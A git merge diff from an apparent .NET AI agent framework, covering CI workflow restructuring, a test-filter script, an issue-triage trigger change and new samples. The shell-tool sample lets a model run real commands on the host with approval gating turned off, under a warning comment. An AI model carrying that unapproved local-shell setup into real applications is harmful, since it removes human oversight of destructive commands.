Remove duplicate WebhookKey properties from merge

Both our branch and main added WebhookKey to the Anthropic test mock classes, resulting in CS0102 duplicate definition errors. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Merge remote-tracking branch 'upstream/main' into dotnet-split-integration-tests
2026-06-16 21:04:09 +08:00 · 2026-05-12 10:02:56 -07:00 · 2026-05-12 09:54:58 -07:00 · 2026-05-12 16:17:49 +00:00 · 2026-05-12 15:59:15 +00:00 · 2026-05-12 15:35:19 +00:00
93 changed files with 9872 additions and 1500 deletions
@@ -38,6 +38,8 @@ jobs:
      dotnetChanges: ${{ steps.filter.outputs.dotnet }}
      cosmosDbChanges: ${{ steps.filter.outputs.cosmosdb }}
      foundryHostingChanges: ${{ steps.filter.outputs.foundryHosting }}
+      functionsChanged: ${{ steps.filter.outputs.functions }}
+      coreChanged: ${{ steps.filter.outputs.core }}
    steps:
      - uses: actions/checkout@v6
      - uses: dorny/paths-filter@v3
@@ -64,6 +66,24 @@ jobs:
              - 'dotnet/Directory.Packages.props'
              - 'dotnet/tests/Foundry.Hosting.IntegrationTests/scripts/it-build-image.ps1'
              - '.github/workflows/dotnet-build-and-test.yml'
+            functions:
+              - 'dotnet/src/Microsoft.Agents.AI.DurableTask/**'
+              - 'dotnet/src/Microsoft.Agents.AI.Hosting.AzureFunctions/**'
+              - 'dotnet/tests/Microsoft.Agents.AI.DurableTask.IntegrationTests/**'
+              - 'dotnet/tests/Microsoft.Agents.AI.Hosting.AzureFunctions.IntegrationTests/**'
+              - '.github/actions/azure-functions-integration-setup/**'
+              - '.github/workflows/dotnet-build-and-test.yml'
+            core:
+              - 'dotnet/src/Microsoft.Agents.AI/**'
+              - 'dotnet/src/Microsoft.Agents.AI.Abstractions/**'
+              - 'dotnet/src/Microsoft.Agents.AI.OpenAI/**'
+              - 'dotnet/src/Microsoft.Agents.AI.Workflows/**'
+              - 'dotnet/src/Microsoft.Agents.AI.Workflows.Generators/**'
+              - 'dotnet/eng/scripts/New-FilteredSolution.ps1'
+              - 'dotnet/tests/Directory.Build.props'
+              - 'dotnet/Directory.Packages.props'
+              - 'dotnet/global.json'
+              - '.github/workflows/dotnet-build-and-test.yml'
      # run only if 'dotnet' files were changed
      - name: dotnet tests
        if: steps.filter.outputs.dotnet == 'true'
@@ -211,10 +231,11 @@ jobs:
            Verbose         = $true
          }
          ./dotnet/eng/scripts/New-FilteredSolution.ps1 @commonArgs `
-            -TestProjectNameFilter "*UnitTests*" `
+            -TestProjectNameIncludeFilter "*UnitTests*" `
            -OutputPath dotnet/filtered-unit.slnx
          ./dotnet/eng/scripts/New-FilteredSolution.ps1 @commonArgs `
-            -TestProjectNameFilter "*IntegrationTests*" `
+            -TestProjectNameIncludeFilter "*IntegrationTests*" `
+            -TestProjectNameExcludeFilter "*DurableTask.IntegrationTests*","*AzureFunctions.IntegrationTests*" `
            -OutputPath dotnet/filtered-integration.slnx

      - name: Run Unit Tests
@@ -256,14 +277,6 @@ jobs:
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

-        # This setup action is required for both Durable Task and Azure Functions integration tests.
-        # We only run it on Ubuntu since the Durable Task and Azure Functions features are not available
-        # on .NET Framework (net472) which is what we use the Windows runner for.
-      - name: Set up Durable Task and Azure Functions Integration Test Emulators
-        if: github.event_name != 'pull_request' && matrix.integration-tests && matrix.os == 'ubuntu-latest'
-        uses: ./.github/actions/azure-functions-integration-setup
-        id: azure-functions-setup
-
      - name: Run Integration Tests
        shell: pwsh
        working-directory: dotnet
@@ -416,11 +429,110 @@ jobs:
          AZURE_SEARCH_INDEX_NAME: ${{ secrets.AZURE_SEARCH_INDEX_NAME }}
          # IT_HOSTED_AGENT_IMAGE was exported into $GITHUB_ENV by the previous step.

+  # DurableTask and AzureFunctions integration tests (ubuntu/net10.0 only).
+  # Split from main dotnet-test job for path-based filtering and parallelism.
+  dotnet-test-functions:
+    needs: [paths-filter]
+    if: >
+      github.event_name != 'pull_request' &&
+      (needs.paths-filter.outputs.functionsChanged == 'true' ||
+       needs.paths-filter.outputs.coreChanged == 'true' ||
+       github.event_name == 'schedule' ||
+       github.event_name == 'workflow_dispatch')
+    runs-on: ubuntu-latest
+    environment: integration
+    steps:
+      - uses: actions/checkout@v6
+        with:
+          persist-credentials: false
+          sparse-checkout: |
+            .
+            .github
+            dotnet
+            python
+            declarative-agents
+
+      - name: Setup dotnet
+        uses: actions/setup-dotnet@v5.2.0
+        with:
+          global-json-file: ${{ github.workspace }}/dotnet/global.json
+
+      - name: Build functions integration test projects
+        shell: bash
+        working-directory: dotnet
+        run: |
+          dotnet build ./tests/Microsoft.Agents.AI.DurableTask.IntegrationTests -c Release -f net10.0 --warnaserror
+          dotnet build ./tests/Microsoft.Agents.AI.Hosting.AzureFunctions.IntegrationTests -c Release -f net10.0 --warnaserror
+
+      - name: Azure CLI Login
+        uses: azure/login@v2
+        with:
+          client-id: ${{ secrets.AZURE_CLIENT_ID }}
+          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
+          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
+
+      - name: Set up Durable Task and Azure Functions Integration Test Emulators
+        uses: ./.github/actions/azure-functions-integration-setup
+        id: azure-functions-setup
+
+      - name: Run Functions Integration Tests
+        shell: pwsh
+        working-directory: dotnet
+        run: |
+          # Run DurableTask integration tests
+          dotnet test `
+            --project ./tests/Microsoft.Agents.AI.DurableTask.IntegrationTests `
+            -f net10.0 `
+            -c Release `
+            --no-build -v Normal `
+            --report-xunit-trx `
+            --report-junit `
+            --results-directory ../IntegrationTestResults/ `
+            --ignore-exit-code 8 `
+            --filter-not-trait "Category=IntegrationDisabled" `
+            --parallel-algorithm aggressive `
+            --max-threads 2.0x
+
+          # Run AzureFunctions integration tests
+          dotnet test `
+            --project ./tests/Microsoft.Agents.AI.Hosting.AzureFunctions.IntegrationTests `
+            -f net10.0 `
+            -c Release `
+            --no-build -v Normal `
+            --report-xunit-trx `
+            --report-junit `
+            --results-directory ../IntegrationTestResults/ `
+            --ignore-exit-code 8 `
+            --filter-not-trait "Category=IntegrationDisabled" `
+            --parallel-algorithm aggressive `
+            --max-threads 2.0x
+        env:
+          # OpenAI Models
+          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
+          OPENAI_CHAT_MODEL_NAME: ${{ vars.OPENAI_CHAT_MODEL_NAME }}
+          OPENAI_REASONING_MODEL_NAME: ${{ vars.OPENAI_REASONING_MODEL_NAME }}
+          # Azure OpenAI Models
+          AZURE_OPENAI_DEPLOYMENT_NAME: ${{ vars.AZURE_OPENAI_DEPLOYMENT_NAME }}
+          AZURE_OPENAI_CHAT_DEPLOYMENT_NAME: ${{ vars.AZURE_OPENAI_DEPLOYMENT_NAME }}
+          AZURE_OPENAI_ENDPOINT: ${{ vars.AZURE_OPENAI_ENDPOINT }}
+          # Azure AI Foundry
+          AZURE_AI_PROJECT_ENDPOINT: ${{ vars.AZURE_AI_PROJECT_ENDPOINT }}
+          AZURE_AI_MODEL_DEPLOYMENT_NAME: ${{ vars.AZURE_AI_MODEL_DEPLOYMENT_NAME }}
+          AZURE_AI_BING_CONNECTION_ID: ${{ vars.AZURE_AI_BING_CONNECTION_ID }}
+
+      - name: Upload functions test results
+        if: always()
+        uses: actions/upload-artifact@v7
+        with:
+          name: dotnet-test-results-functions-net10.0-ubuntu-latest
+          path: IntegrationTestResults/**/*.junit
+          if-no-files-found: ignore
+
  # This final job is required to satisfy the merge queue. It must only run (or succeed) if no tests failed
  dotnet-build-and-test-check:
    if: always()
    runs-on: ubuntu-latest
-    needs: [dotnet-build, dotnet-test, dotnet-foundry-hosted-it]
+    needs: [dotnet-build, dotnet-test, dotnet-foundry-hosted-it, dotnet-test-functions]
    steps:
      - name: Get Date
        shell: bash
@@ -467,7 +579,7 @@ jobs:
      github.event_name != 'pull_request' &&
      (contains(join(needs.*.result, ','), 'success') ||
       contains(join(needs.*.result, ','), 'failure'))
-    needs: [dotnet-test]
+    needs: [dotnet-test, dotnet-test-functions]
    runs-on: ubuntu-latest
    defaults:
      run:
@@ -1,12 +1,8 @@
 name: Issue Triage

 on:
-  workflow_dispatch:
-    inputs:
-      issue_number:
-        description: Issue number to triage
-        required: true
-        type: string
+  issues:
+    types: [opened, labeled]

 permissions:
  contents: read
@@ -14,7 +10,13 @@ permissions:
  id-token: write

 concurrency:
-  group: issue-triage-${{ github.repository }}-${{ github.event.issue.number || inputs.issue_number || github.run_id }}
+  group: >-
+    issue-triage-${{ github.repository }}-${{
+      ((github.event.action == 'opened' && contains(github.event.issue.labels.*.name, 'bug'))
+       || (github.event.action == 'labeled' && github.event.label.name == 'bug'))
+      && github.event.issue.number
+      || github.run_id
+    }}
  cancel-in-progress: true

 env:
@@ -26,6 +28,7 @@ env:
 jobs:
  team_check:
    runs-on: ubuntu-latest
+    if: ${{ (github.event.action == 'opened' && contains(github.event.issue.labels.*.name, 'bug')) || (github.event.action == 'labeled' && github.event.label.name == 'bug') }}
    outputs:
      is_team_member: ${{ steps.check.outputs.is_team_member }}
      issue_number: ${{ steps.issue.outputs.issue_number }}
@@ -36,18 +39,13 @@ jobs:
        shell: bash
        env:
          ISSUE_NUMBER_EVENT: ${{ github.event.issue.number }}
-          ISSUE_NUMBER_INPUT: ${{ inputs.issue_number }}
        run: |
          set -euo pipefail

-          if [[ "${GITHUB_EVENT_NAME}" == "issues" ]]; then
-            issue_number="${ISSUE_NUMBER_EVENT}"
-          else
-            issue_number="${ISSUE_NUMBER_INPUT}"
-          fi
+          issue_number="${ISSUE_NUMBER_EVENT}"

          if [[ ! "$issue_number" =~ ^[1-9][0-9]*$ ]]; then
-            echo "Could not determine issue number; for workflow_dispatch runs, the 'issue_number' input is required." >&2
+            echo "Could not determine issue number from event payload." >&2
            exit 1
          fi

@@ -166,6 +164,9 @@ jobs:
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          GH_COPILOT_TOKEN: ${{ secrets.GH_COPILOT_TOKEN }}
+          # Not seen by the agent prompt; used only to push a paper-trail
+          # branch back to maf-dashboard at run end.
+          DEVFLOW_TOKEN: ${{ secrets.DEVFLOW_TOKEN }}
          SK_REPO_PATH: ${{ env.TARGET_REPO_PATH }}
          AGENT_REPO_PATH: ${{ env.TARGET_REPO_PATH }}
          ISSUE_REPO: ${{ needs.team_check.outputs.repo }}
@@ -11,7 +11,7 @@
  </PropertyGroup>
  <ItemGroup>
    <!-- Aspire.* -->
-    <PackageVersion Include="Anthropic" Version="12.13.0" />
+    <PackageVersion Include="Anthropic" Version="12.20.0" />
    <PackageVersion Include="Anthropic.Foundry" Version="0.5.0" />
    <PackageVersion Include="Aspire.Hosting" Version="$(AspireAppHostSdkVersion)" />
    <PackageVersion Include="Aspire.Azure.AI.OpenAI" Version="13.0.0-preview.1.25560.3" />
@@ -194,4 +194,4 @@
      <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
    </PackageReference>
  </ItemGroup>
-</Project>
+</Project>
@@ -1,4 +1,4 @@
-<Solution>
+<Solution>
  <Configurations>
    <BuildType Name="Debug" />
    <BuildType Name="Publish" />
@@ -65,6 +65,7 @@
    <Project Path="samples/02-agents/Agents/Agent_Step18_CompactionPipeline/Agent_Step18_CompactionPipeline.csproj" />
    <Project Path="samples/02-agents/Agents/Agent_Step19_InFunctionLoopCheckpointing/Agent_Step19_InFunctionLoopCheckpointing.csproj" />
    <Project Path="samples/02-agents/Agents/Agent_Step20_DynamicFunctionTools/Agent_Step20_DynamicFunctionTools.csproj" />
+    <Project Path="samples/02-agents/Agents/Agent_Step21_ShellWithEnvironment/Agent_Step21_ShellWithEnvironment.csproj" />
  </Folder>
  <Folder Name="/Samples/02-agents/DeclarativeAgents/">
    <Project Path="samples/02-agents/DeclarativeAgents/ChatClient/DeclarativeChatClientAgents.csproj" />
@@ -123,6 +124,8 @@
    <Project Path="samples/02-agents/Harness/Harness_Step01_Research/Harness_Step01_Research.csproj" />
    <Project Path="samples/02-agents/Harness/Harness_Step02_Research_WithSubAgents/Harness_Step02_Research_WithSubAgents.csproj" />
    <Project Path="samples/02-agents/Harness/Harness_Step03_DataProcessing/Harness_Step03_DataProcessing.csproj" />
+    <Project Path="samples/02-agents/Harness/ConsoleReactiveFramework/ConsoleReactiveFramework.csproj" />
+    <Project Path="samples/02-agents/Harness/ConsoleReactiveComponents/ConsoleReactiveComponents.csproj" />
  </Folder>
  <Folder Name="/Samples/02-agents/AGUI/Step05_StateManagement/">
    <Project Path="samples/02-agents/AGUI/Step05_StateManagement/Client/Client.csproj" />
@@ -590,6 +593,7 @@
    <Project Path="src/Microsoft.Agents.AI.Mem0/Microsoft.Agents.AI.Mem0.csproj" />
    <Project Path="src/Microsoft.Agents.AI.OpenAI/Microsoft.Agents.AI.OpenAI.csproj" />
    <Project Path="src/Microsoft.Agents.AI.Purview/Microsoft.Agents.AI.Purview.csproj" />
+    <Project Path="src/Microsoft.Agents.AI.Tools.Shell/Microsoft.Agents.AI.Tools.Shell.csproj" />
    <Project Path="src/Microsoft.Agents.AI.Workflows.Declarative.Foundry/Microsoft.Agents.AI.Workflows.Declarative.Foundry.csproj" />
    <Project Path="src/Microsoft.Agents.AI.Workflows.Declarative.Mcp/Microsoft.Agents.AI.Workflows.Declarative.Mcp.csproj" />
    <Project Path="src/Microsoft.Agents.AI.Workflows.Declarative/Microsoft.Agents.AI.Workflows.Declarative.csproj" />
@@ -612,6 +616,7 @@
    <Project Path="tests/Microsoft.Agents.AI.Hosting.AzureFunctions.IntegrationTests/Microsoft.Agents.AI.Hosting.AzureFunctions.IntegrationTests.csproj" />
    <Project Path="tests/Microsoft.Agents.AI.Hyperlight.IntegrationTests/Microsoft.Agents.AI.Hyperlight.IntegrationTests.csproj" />
    <Project Path="tests/Microsoft.Agents.AI.Mem0.IntegrationTests/Microsoft.Agents.AI.Mem0.IntegrationTests.csproj" />
+    <Project Path="tests/Microsoft.Agents.AI.Tools.Shell.IntegrationTests/Microsoft.Agents.AI.Tools.Shell.IntegrationTests.csproj" />
    <Project Path="tests/Microsoft.Agents.AI.Workflows.Declarative.IntegrationTests/Microsoft.Agents.AI.Workflows.Declarative.IntegrationTests.csproj" />
    <Project Path="tests/OpenAIAssistant.IntegrationTests/OpenAIAssistant.IntegrationTests.csproj" />
    <Project Path="tests/OpenAIChatCompletion.IntegrationTests/OpenAIChatCompletion.IntegrationTests.csproj" />
@@ -640,6 +645,7 @@
    <Project Path="tests/Microsoft.Agents.AI.Mem0.UnitTests/Microsoft.Agents.AI.Mem0.UnitTests.csproj" />
    <Project Path="tests/Microsoft.Agents.AI.OpenAI.UnitTests/Microsoft.Agents.AI.OpenAI.UnitTests.csproj" />
    <Project Path="tests/Microsoft.Agents.AI.Purview.UnitTests/Microsoft.Agents.AI.Purview.UnitTests.csproj" />
+    <Project Path="tests/Microsoft.Agents.AI.Tools.Shell.UnitTests/Microsoft.Agents.AI.Tools.Shell.UnitTests.csproj" />
    <Project Path="tests/Microsoft.Agents.AI.UnitTests/Microsoft.Agents.AI.UnitTests.csproj" />
    <Project Path="tests/Microsoft.Agents.AI.Workflows.Declarative.Mcp.UnitTests/Microsoft.Agents.AI.Workflows.Declarative.Mcp.UnitTests.csproj" />
    <Project Path="tests/Microsoft.Agents.AI.Workflows.Declarative.UnitTests/Microsoft.Agents.AI.Workflows.Declarative.UnitTests.csproj" />
@@ -21,10 +21,15 @@
 .PARAMETER Configuration
    Optional MSBuild configuration used when querying TargetFrameworks. Defaults to Debug.

-.PARAMETER TestProjectNameFilter
+.PARAMETER TestProjectNameIncludeFilter
    Optional wildcard pattern to filter test project names (e.g., *UnitTests*, *IntegrationTests*).
    When specified, only test projects whose filename matches this pattern are kept.

+.PARAMETER TestProjectNameExcludeFilter
+    Optional wildcard pattern(s) to exclude test projects by name (e.g., *DurableTask.IntegrationTests*).
+    When specified, test projects whose filename matches any of these patterns are removed.
+    Applied after TestProjectNameIncludeFilter. Can be a single string or an array of strings.
+
 .PARAMETER ExcludeSamples
    When specified, removes all projects under the samples/ directory from the solution.

@@ -38,11 +43,15 @@

 .EXAMPLE
    # Generate a solution with only unit test projects
-    ./dotnet/eng/scripts/New-FilteredSolution.ps1 -Solution dotnet/agent-framework-dotnet.slnx -TargetFramework net10.0 -TestProjectNameFilter "*UnitTests*" -OutputPath filtered-unit.slnx
+    ./dotnet/eng/scripts/New-FilteredSolution.ps1 -Solution dotnet/agent-framework-dotnet.slnx -TargetFramework net10.0 -TestProjectNameIncludeFilter "*UnitTests*" -OutputPath filtered-unit.slnx

 .EXAMPLE
    # Inline usage with dotnet test (PowerShell)
    dotnet test --solution (./dotnet/eng/scripts/New-FilteredSolution.ps1 -Solution dotnet/agent-framework-dotnet.slnx -TargetFramework net472) --no-build -f net472
+
+.EXAMPLE
+    # Generate integration tests excluding DurableTask and AzureFunctions
+    ./dotnet/eng/scripts/New-FilteredSolution.ps1 -Solution dotnet/agent-framework-dotnet.slnx -TargetFramework net10.0 -TestProjectNameIncludeFilter "*IntegrationTests*" -TestProjectNameExcludeFilter "*DurableTask.IntegrationTests*","*AzureFunctions.IntegrationTests*" -OutputPath filtered-other-integration.slnx
 #>

 [CmdletBinding()]
@@ -55,7 +64,9 @@ param(

    [string]$Configuration = "Debug",

-    [string]$TestProjectNameFilter,
+    [string]$TestProjectNameIncludeFilter,
+
+    [string[]]$TestProjectNameExcludeFilter,

    [switch]$ExcludeSamples,

@@ -100,13 +111,30 @@ foreach ($proj in $allProjects) {
    $isTestProject = $projRelPath -like "*tests/*"

    # Filter test projects by name pattern if specified
-    if ($isTestProject -and $TestProjectNameFilter -and ($projFileName -notlike $TestProjectNameFilter)) {
+    if ($isTestProject -and $TestProjectNameIncludeFilter -and ($projFileName -notlike $TestProjectNameIncludeFilter)) {
        Write-Verbose "Removing (name filter): $projRelPath"
        $removed += $projRelPath
        $proj.ParentNode.RemoveChild($proj) | Out-Null
        continue
    }

+    # Exclude test projects matching any exclusion pattern
+    if ($isTestProject -and $TestProjectNameExcludeFilter) {
+        $excluded = $false
+        foreach ($pattern in $TestProjectNameExcludeFilter) {
+            if ($projFileName -like $pattern) {
+                $excluded = $true
+                break
+            }
+        }
+        if ($excluded) {
+            Write-Verbose "Removing (exclude filter): $projRelPath"
+            $removed += $projRelPath
+            $proj.ParentNode.RemoveChild($proj) | Out-Null
+            continue
+        }
+    }
+
    if (-not (Test-Path $projFullPath)) {
        Write-Verbose "Project not found, keeping in solution: $projRelPath"
        $kept += $projRelPath
@@ -0,0 +1,22 @@
+<Project Sdk="Microsoft.NET.Sdk">
+
+  <PropertyGroup>
+    <OutputType>Exe</OutputType>
+    <TargetFrameworks>net10.0</TargetFrameworks>
+
+    <Nullable>enable</Nullable>
+    <ImplicitUsings>enable</ImplicitUsings>
+  </PropertyGroup>
+
+  <ItemGroup>
+    <PackageReference Include="Azure.AI.OpenAI" />
+    <PackageReference Include="Azure.Identity" />
+    <PackageReference Include="Microsoft.Extensions.AI.OpenAI" />
+  </ItemGroup>
+
+  <ItemGroup>
+    <ProjectReference Include="..\..\..\..\src\Microsoft.Agents.AI.OpenAI\Microsoft.Agents.AI.OpenAI.csproj" />
+    <ProjectReference Include="..\..\..\..\src\Microsoft.Agents.AI.Tools.Shell\Microsoft.Agents.AI.Tools.Shell.csproj" />
+  </ItemGroup>
+
+</Project>
@@ -0,0 +1,130 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+// Shell tool with environment-aware system prompt
+//
+// WARNING: This sample uses LocalShellExecutor, which executes real commands
+// against the shell on this machine. Approval gating is disabled here so
+// the demo runs unattended; in any real application keep approval on
+// (the default), or use DockerShellExecutor for container isolation. The
+// commands the model emits below are read-only or scoped (echo, cd into
+// a temp folder, set a process-local env var) but a different model or
+// prompt could choose to do something destructive. Run this only in an
+// environment where you are comfortable with the agent typing into your
+// terminal.
+//
+// Demonstrates LocalShellExecutor in both modes paired with
+// ShellEnvironmentProvider, an AIContextProvider that probes the live
+// shell (OS, family, version, CWD, common CLIs) and injects authoritative
+// system-prompt instructions so the agent emits commands in the right
+// idiom (PowerShell vs POSIX).
+//
+// Two runs:
+//   1) Stateless mode: each tool call runs in a fresh shell. Useful when
+//      commands are independent (read-only scripts, version checks, file
+//      listings) and you want strong isolation between calls. Side
+//      effects in one call (cd, exported variables) do NOT carry to the
+//      next.
+//   2) Persistent mode: a single long-lived shell is reused across calls,
+//      so working directory and exported environment variables are
+//      preserved. Useful for multi-step workflows that build state
+//      (cd into a folder and run a sequence of commands there; set a
+//      token in one step and read it in the next).
+
+using Azure.AI.OpenAI;
+using Azure.Identity;
+using Microsoft.Agents.AI;
+using Microsoft.Agents.AI.Tools.Shell;
+using Microsoft.Extensions.AI;
+using OpenAI.Chat;
+
+var endpoint = Environment.GetEnvironmentVariable("AZURE_OPENAI_ENDPOINT") ?? throw new InvalidOperationException("AZURE_OPENAI_ENDPOINT is not set.");
+var deploymentName = Environment.GetEnvironmentVariable("AZURE_OPENAI_DEPLOYMENT_NAME") ?? "gpt-5.4-mini";
+
+var chatClient = new AzureOpenAIClient(new Uri(endpoint), new DefaultAzureCredential())
+    .GetChatClient(deploymentName);
+
+const string Instructions = """
+    You are an agent with a single tool: run_shell. Use it to satisfy the
+    user's request. Do not describe what you would do — actually run the
+    commands. Reply with the final answer derived from real output.
+    """;
+
+// --------------------------------------------------------------------
+// 1. Stateless mode — each call gets a fresh shell.
+// --------------------------------------------------------------------
+Console.WriteLine("### Stateless mode\n");
+await using (var statelessShell = new LocalShellExecutor(new() { Mode = ShellMode.Stateless, AcknowledgeUnsafe = true }))
+{
+    var envProvider = new ShellEnvironmentProvider(statelessShell);
+    var statelessAgent = chatClient.AsAIAgent(new ChatClientAgentOptions
+    {
+        ChatOptions = new()
+        {
+            Instructions = Instructions,
+            Tools = [statelessShell.AsAIFunction(requireApproval: false)],
+        },
+        AIContextProviders = [envProvider],
+    });
+
+    var statelessSession = await statelessAgent.CreateSessionAsync();
+    Console.WriteLine(await statelessAgent.RunAsync("Print the current working directory.", statelessSession));
+    Console.WriteLine();
+
+    // Show that side effects do NOT carry between stateless calls: ask the
+    // agent to cd into the system temp directory in one call, then ask
+    // for the CWD in a second call. Stateless mode means the cd is gone.
+    Console.WriteLine(await statelessAgent.RunAsync("Change directory into the system temp folder, then print the current working directory.", statelessSession));
+    Console.WriteLine();
+    Console.WriteLine(await statelessAgent.RunAsync("In a NEW shell call, print the current working directory again. Tell me whether it matches the temp folder from the previous call.", statelessSession));
+    Console.WriteLine();
+
+    PrintSnapshot(envProvider.CurrentSnapshot!);
+}
+
+// --------------------------------------------------------------------
+// 2. Persistent mode — one shell, reused across calls. State carries.
+// --------------------------------------------------------------------
+Console.WriteLine("\n### Persistent mode\n");
+await using (var persistentShell = new LocalShellExecutor(new() { Mode = ShellMode.Persistent, AcknowledgeUnsafe = true }))
+{
+    var envProvider = new ShellEnvironmentProvider(persistentShell);
+    var persistentAgent = chatClient.AsAIAgent(new ChatClientAgentOptions
+    {
+        ChatOptions = new()
+        {
+            Instructions = Instructions,
+            Tools = [persistentShell.AsAIFunction(requireApproval: false)],
+        },
+        AIContextProviders = [envProvider],
+    });
+
+    var persistentSession = await persistentAgent.CreateSessionAsync();
+
+    // State carries across calls in persistent mode: cd into temp, then
+    // verify the next call sees the new CWD.
+    Console.WriteLine(await persistentAgent.RunAsync("Change directory into the system temp folder, then print the current working directory.", persistentSession));
+    Console.WriteLine();
+    Console.WriteLine(await persistentAgent.RunAsync("In a NEW shell call, print the current working directory again. Tell me whether it still matches the temp folder.", persistentSession));
+    Console.WriteLine();
+
+    // Same idea with an exported variable: set in one call, read in the next.
+    Console.WriteLine(await persistentAgent.RunAsync("Set the environment variable DEMO_TOKEN to the value 'hello-world'.", persistentSession));
+    Console.WriteLine();
+    Console.WriteLine(await persistentAgent.RunAsync("Print the current value of DEMO_TOKEN. Tell me exactly what value the shell reports.", persistentSession));
+    Console.WriteLine();
+
+    PrintSnapshot(envProvider.CurrentSnapshot!);
+}
+
+static void PrintSnapshot(ShellEnvironmentSnapshot snap)
+{
+    Console.WriteLine("--- Captured environment snapshot ---");
+    Console.WriteLine($"  Family:  {snap.Family}");
+    Console.WriteLine($"  OS:      {snap.OSDescription}");
+    Console.WriteLine($"  Shell:   {snap.ShellVersion ?? "(unknown)"}");
+    Console.WriteLine($"  CWD:     {snap.WorkingDirectory}");
+    foreach (var (tool, version) in snap.ToolVersions)
+    {
+        Console.WriteLine($"  {tool,-8} {version ?? "(not installed)"}");
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Harness.ConsoleReactiveComponents;
+
+/// <summary>
+/// Provides descriptive helpers for common ANSI/VT100 escape sequences used
+/// in the split-console layout (DECSTBM scroll regions, cursor movement, line erasure).
+/// </summary>
+public static class AnsiEscapes
+{
+    /// <summary>
+    /// Sets the scrollable region to rows 1 through <paramref name="bottom"/> (DECSTBM).
+    /// Content outside this region will not scroll.
+    /// </summary>
+    public static string SetScrollRegion(int bottom) => $"\x1b[1;{bottom}r";
+
+    /// <summary>
+    /// Resets the scroll region to the full terminal height (DECSTBM reset).
+    /// </summary>
+    public static string ResetScrollRegion => "\x1b[r";
+
+    /// <summary>
+    /// Moves the cursor to the specified 1-based <paramref name="row"/> and <paramref name="column"/> (CUP).
+    /// </summary>
+    public static string MoveCursor(int row, int column) => $"\x1b[{row};{column}H";
+
+    /// <summary>
+    /// Erases the entire current line (EL 2).
+    /// </summary>
+    public static string EraseEntireLine => "\x1b[2K";
+
+    /// <summary>
+    /// Erases the entire screen.
+    /// </summary>
+    public static string EraseEntireScreen => "\x1b[2J";
+
+    /// <summary>
+    /// Erases the scrollback buffer (ESC[3J). Use alongside <see cref="EraseEntireScreen"/>
+    /// to fully clear both the visible screen and the scroll history.
+    /// </summary>
+    public static string EraseScrollbackBuffer => "\x1b[3J";
+
+    /// <summary>
+    /// Saves the current cursor position (DECSC / SCP).
+    /// Note: most terminals have a single save slot — nested saves are not supported.
+    /// </summary>
+    public static string SaveCursor => "\x1b[s";
+
+    /// <summary>
+    /// Restores the previously saved cursor position (DECRC / RCP).
+    /// </summary>
+    public static string RestoreCursor => "\x1b[u";
+
+    /// <summary>
+    /// Moves the cursor to the specified 1-based <paramref name="row"/> at column 1, then erases the entire line.
+    /// Convenience combination of <see cref="MoveCursor"/> and <see cref="EraseEntireLine"/>.
+    /// </summary>
+    public static string MoveAndEraseLine(int row) => $"\x1b[{row};1H\x1b[2K";
+
+    /// <summary>
+    /// Sets the foreground text color using a <see cref="ConsoleColor"/> value.
+    /// </summary>
+    public static string SetForegroundColor(ConsoleColor color) => $"\x1b[{ConsoleColorToAnsi(color)}m";
+
+    /// <summary>
+    /// Resets all text attributes (color, bold, etc.) to their defaults.
+    /// </summary>
+    public static string ResetAttributes => "\x1b[0m";
+
+    private static int ConsoleColorToAnsi(ConsoleColor color) => color switch
+    {
+        ConsoleColor.Black => 30,
+        ConsoleColor.DarkRed => 31,
+        ConsoleColor.DarkGreen => 32,
+        ConsoleColor.DarkYellow => 33,
+        ConsoleColor.DarkBlue => 34,
+        ConsoleColor.DarkMagenta => 35,
+        ConsoleColor.DarkCyan => 36,
+        ConsoleColor.Gray => 37,
+        ConsoleColor.DarkGray => 90,
+        ConsoleColor.Red => 91,
+        ConsoleColor.Green => 92,
+        ConsoleColor.Yellow => 93,
+        ConsoleColor.Blue => 94,
+        ConsoleColor.Magenta => 95,
+        ConsoleColor.Cyan => 96,
+        ConsoleColor.White => 97,
+        _ => 37
+    };
+}
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+<Project Sdk="Microsoft.NET.Sdk">
+
+  <PropertyGroup>
+    <TargetFrameworks>net10.0</TargetFrameworks>
+
+    <Nullable>enable</Nullable>
+    <ImplicitUsings>enable</ImplicitUsings>
+  </PropertyGroup>
+
+  <ItemGroup>
+    <ProjectReference Include="../ConsoleReactiveFramework/ConsoleReactiveFramework.csproj" />
+  </ItemGroup>
+
+</Project>
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+// Copyright (c) Microsoft. All rights reserved.
+
+using Harness.ConsoleReactiveFramework;
+
+namespace Harness.ConsoleReactiveComponents;
+
+/// <summary>
+/// A component that renders a selectable list of items with a cursor indicator.
+/// The selected item is indicated with a "&gt;" prefix and rendered in the highlight color.
+/// Optionally includes a title above the list and a custom text input option at the bottom.
+/// </summary>
+public class ListSelection : ConsoleReactiveComponent<ListSelectionProps, ConsoleReactiveState>
+{
+    /// <summary>
+    /// Calculates the height (in rows) required to render the list,
+    /// including the optional title and custom text input row.
+    /// </summary>
+    /// <param name="props">The list selection props.</param>
+    /// <returns>The number of rows needed.</returns>
+    public static int CalculateHeight(ListSelectionProps props)
+    {
+        int height = props.Items.Count;
+        if (props.CustomTextPlaceholder != null)
+        {
+            height++;
+        }
+
+        height += GetTitleLineCount(props.Title);
+        return height;
+    }
+
+    /// <inheritdoc />
+    public override void RenderCore(ListSelectionProps props, ConsoleReactiveState state)
+    {
+        int row = 0;
+
+        // Render the title lines (if any)
+        if (props.Title is not null)
+        {
+            foreach (string line in props.Title.Split('\n'))
+            {
+                Console.Write(AnsiEscapes.MoveCursor(this.Y + row, this.X));
+                Console.Write(AnsiEscapes.EraseEntireLine);
+                Console.Write(line);
+                row++;
+            }
+        }
+
+        // Render the list items + optional custom text row
+        int totalItems = props.Items.Count + (props.CustomTextPlaceholder != null ? 1 : 0);
+
+        for (int i = 0; i < totalItems; i++)
+        {
+            Console.Write(AnsiEscapes.MoveCursor(this.Y + row, this.X));
+            Console.Write(AnsiEscapes.EraseEntireLine);
+
+            bool isSelected = i == props.SelectedIndex;
